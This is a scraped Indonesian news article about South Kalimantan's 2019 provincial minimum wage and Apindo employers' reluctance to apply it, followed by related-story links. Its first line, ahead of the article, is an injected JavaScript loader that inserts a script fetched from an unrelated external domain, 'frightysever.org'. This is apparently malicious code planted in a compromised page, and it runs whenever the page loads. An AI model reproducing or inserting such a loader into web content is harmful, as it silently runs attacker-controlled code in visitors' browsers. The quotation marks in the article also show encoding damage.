(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Asosiasi Pengusaha Indonesia (Apindo) Kalsel H Supriadi mengaku banyak anggota Apindo masih berat hati menerima keputusan Upah Minimum Provinsi (UMP) Kalsel tahun 2019 yang sudah diketok.
Sebagaimana diketahui, secara resmi Pemprov Kalsel mengumumkan UMP Kalsel tahun 2019 sebesar Rp 2.651.781, naik 8,03 persen atau sebesar Rp 197.110 dari UMP Kalsel 2018 sebesar Rp 2.454.671.
“Untuk UMP Kalsel tahun 2019, memang banyak pelaku usaha anggota Apindo Kalsel masih tidak sependapat. Bahkan mereka merasa cukup keberatan untuk menerapkannya,†ucapnya, Selasa (6/11/2018).
Keberatan sendiri menurut pengusaha travel haji dan umroh itu cukup beralasan, mengingat pertumbuhan ekonomi Kalsel tidak lebih baik dari ekonomi nasional selama tahun 2018 ini.
“Kita ketahui saat ini pertumbuhan ekonomi Kalsel hanya sebesar 4,95 persen, jauh lebih buruk dari ekonomi nasional yang tumbuhnya mencapai 5,15 persen. Belum lagi ditambah dengan lesunya daya beli masyarakat sekarang, inilah yang menjadikan pengusaha keberatan,†jelasnya.
Pun keberatan, pihaknya mengaku akan tetap melakukan sosialisasi intensif kepada pelaku usaha pada semua sektor di seluruh Kalsel untuk bisa menerapkan UMP Kalsel tahun 2019.
“Kita akan segera turun ke daerah melakukan sosialisasi kepada pelaku usaha bersama instansi terkait. Karena UMP tahun 2019 kali ini sudah diputuskan dan wajib dijalankan semua pihak,†ungkapnya.
Terkait penerapan UMP tahun 2019 terhadap pelaku usaha mikro kecil dan menengah (UMKM), Supriadi menyadari akan tetap sulit diberlakukan. Hal ini karena terkait omset dan pendapatan UMKM yang masih tidak seberapa.
“UMKM ini pengecualian, pasti akan sangat sulit diterapkan. Untuk pemberlakuan UMP tahun 2019 paling hanya bisa diberlakukan untuk bidang pertambangan, perkebunan hingga keuangan,†jelasnya.
Sebelumnya, Kepala Dinas Tenaga Kerja Kalsel Sugian Norbach menjelaskan, kenaikan UMP Kalsel tahun 2019 dilandasi formulasi yang ada atas pertumbuhan ekonomi dan inflasi di daerah.
“Per tanggal 1 Januari 2019 nantinya keputusan dari Gubernur Kalsel terkait UMP wajib ditaati oleh perusahaan. Jika perusahaan tidak melaksanakan UMP, maka ada sanksinya sesuai regulasi yang berlaku,†pungkasnya. (arief)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.